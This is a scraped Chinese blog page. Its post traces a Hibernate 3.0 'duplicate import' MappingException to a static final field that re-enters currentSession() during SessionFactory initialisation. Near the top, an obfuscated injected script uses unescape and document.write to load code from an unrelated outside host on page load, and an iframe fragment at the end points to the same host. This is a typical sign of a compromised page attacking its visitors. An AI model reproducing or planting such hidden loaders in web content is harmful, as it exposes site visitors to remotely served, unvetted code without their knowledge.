HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
让人郁闷的org.hibernate.MappingException: duplicate import......
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; //2007-10-25: jzxx1025 google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
最近用Hibernate3.0开发一个项目时,遇到了个郁闷的org.hibernate.MappingException: duplicate import....异常;
于是想尽一切办法想解决这个问题,可能的问题原因:
1. Hibernate配置文件、Hibernate mapping文件错误;根据字面理解是hibernate mapping配置文件重复加载,于是搜寻整个应用,期望能找到两个同样的mapping配置文件,当然结果是失望的(事实证明,这招是错误的,对Hibernate的理解和应用还远没到位);
2.在WEB应用更新前后,系统出现问题,又怀疑是相关jar包的问题,最后也被一一排除;
好费力啊,几个人折腾了到夜里10点多,毫无头绪.........定位不到根本原因.....头大...
3. 在一个偶然的机会,发现了问题可能发生的原因:一个java文件A更改过,在A中增加了一个final static a,在a初始化的时候需要查询数据库,问题就出现在这个地方,将该段代码注释掉,重新启动系统,一切OK。
开始分析原因,系统访问数据库,调用A类中的方法,于是调用HibernateSessionFactory中的currentSession()方法中,由于是系统第一次访问数据库,于是进行Hibernate的初始化,加载Hibernate.cfg.xml、Hibernate mapping等配置文件,在A类已经加载,但整个Hibernate mapping加载尚未完成的时候,JVM同时会初始化A中的 final static a 变量,由于该变量同样要访问currentSession()方法,在第一次初始化未完成的时候,根据currentSession()中的逻辑判断,将会出现duplicate import的异常。
附上HibernateSessionFactory中的 currentSessio()方法:
/**
* Returns the ThreadLocal Session instance. Lazy initialize
* the <code>SessionFactory</code> if needed.
*
* @return Session
* @throws HibernateException
*/
public static Session currentSession() throws HibernateException {
Session session = (Session) threadLocal.get();
if (session == null || !session.isOpen()) {
if (sessionFactory == null) {
try {
cfg.configure(CONFIG_FILE_LOCATION);
sessionFactory = cfg.buildSessionFactory();
} catch (Exception e) {
System.err
.println("%%%% Error Creating SessionFactory %%%%");
e.printStackTrace();
}
}
session = (sessionFactory != null) ? sessionFactory.openSession()
: null;
threadLocal.set(session);
}
return session;
}
不知道说的清不清楚,如果您不清楚,那表明我自己都没有搞清楚,不过还是希望能帮助到一些人。
如有什么疑问或建议,请留言或者E-mail我,谢谢
wengal@163.com
。
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; //2007-10-25: jzxx1025 google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
src="http://avss.b15.cnwg.cn/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">